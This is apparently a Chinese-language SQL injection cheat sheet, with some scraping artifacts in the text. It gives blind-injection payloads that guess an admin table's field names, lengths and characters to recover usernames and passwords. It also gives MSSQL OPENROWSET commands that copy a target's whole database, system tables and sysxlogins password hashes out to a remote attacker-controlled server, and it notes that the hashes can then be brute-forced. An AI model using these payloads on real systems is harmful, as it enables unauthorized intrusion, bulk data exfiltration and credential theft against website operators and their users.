1.判斷有無注入點
‘ ; and 1=1 and 1=2
2.猜表: 常見的表:admin adminuser user pass password 等..
and 0<>(select count(*) from *)
and 0<>(select count(*) from admin) ---判斷是否存在admin這張表
3.猜賬號數(shù)目 如果遇到0< 返回正確頁面 1<返回錯誤頁面說明賬號數(shù)目就是1個
and 0<(select count(*) from admin)
and 1<(select count(*) from admin)
4.猜解字段名稱 在len( ) 括號里面加上我們想到的字段名稱.
and 1=(select count(*) from admin where len(*) >0)--
and 1=(select count(*) from admin where len(用戶字段名稱name)>0)
and 1=(select count(*) from admin where len(_blank>密碼字段名稱password)>0)
5.猜解各個字段的長度 猜解長度就是把>0變換 直到返回正確頁面為止
and 1=(select count(*) from admin where len(*)>0)
and 1=(select count(*) from admin where len(name)>6) 錯誤
and 1=(select count(*) from admin where len(name)>5) 正確 長度是6
and 1=(select count(*) from admin where len(name)=6) 正確
and 1=(select count(*) from admin where len(password)>11) 正確
and 1=(select count(*) from admin where len(password)>12) 錯誤 長度是12
and 1=(select count(*) from admin where len(password)=12) 正確
6.猜解字符
and 1=(select count(*) from admin where left(name,1)=a) ---猜解用戶賬號的第一位
and 1= (select count(*) from admin where left(name,2)=ab)---猜解用戶賬號的第二位
就這樣一次加一個字符這樣猜,猜到夠你剛才猜出來的多少位了就對了,賬號就算出來了
and 1=(select top 1 count(*) from Admin where Asc(mid (pass,5,1))=51) --
這個查詢語句可以猜解中文的用戶和_blank>密碼.只要把后面的數(shù)字換成中文的ASSIC碼就OK.最后把結(jié)果再轉(zhuǎn)換成字符.

1、 開啟遠(yuǎn)程_blank>數(shù)據(jù)庫
基本語法
select * from OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1 )
參數(shù): (1) OLEDB Provider name
2、 其中連接字符串參數(shù)可以是任何端口用來連接,比如
select * from OPENROWSET(SQLOLEDB, uid=sa;pwd= 123;Network=DBMSSOCN;Address=192.168.0.1,1433;, select * from table
3.復(fù)制目標(biāo)主機(jī)的整個_blank>數(shù)據(jù)庫 insert所有遠(yuǎn)程表到本地表。
基本語法：
insert into OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1) select * from table2
這行語句將目標(biāo)主機(jī)上table2表中的所有數(shù)據(jù)復(fù)制到遠(yuǎn)程_blank>數(shù)據(jù)庫中的table1表中。實際運用中適當(dāng)修改連接字符串的IP地址和端口，指向需要的地方，比如：
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address= 192.168.0.1,1433;,select * from table1) select * from table2
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd= 123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_sysdatabases)
select * from master.dbo.sysdatabases
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address= 192.168.0.1,1433;,select * from _blank>_sysobjects)
select * from user_blank> _database.dbo.sysobjects
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address= 192.168.0.1,1433;,select * from _blank>_syscolumns)
select * from user_blank> _database.dbo.syscolumns
復(fù)制_blank>數(shù)據(jù)庫：
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd= 123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from database..table1
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table2) select * from database..table2
復(fù)制哈西表（HASH）登錄_blank>密碼的hash存儲于sysxlogins中。方法如下：
insert into OPENROWSET (SQLOLEDB, uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_sysxlogins) select * from database.dbo.sysxlogins
得到hash之后，就可以進(jìn)行暴力破解。
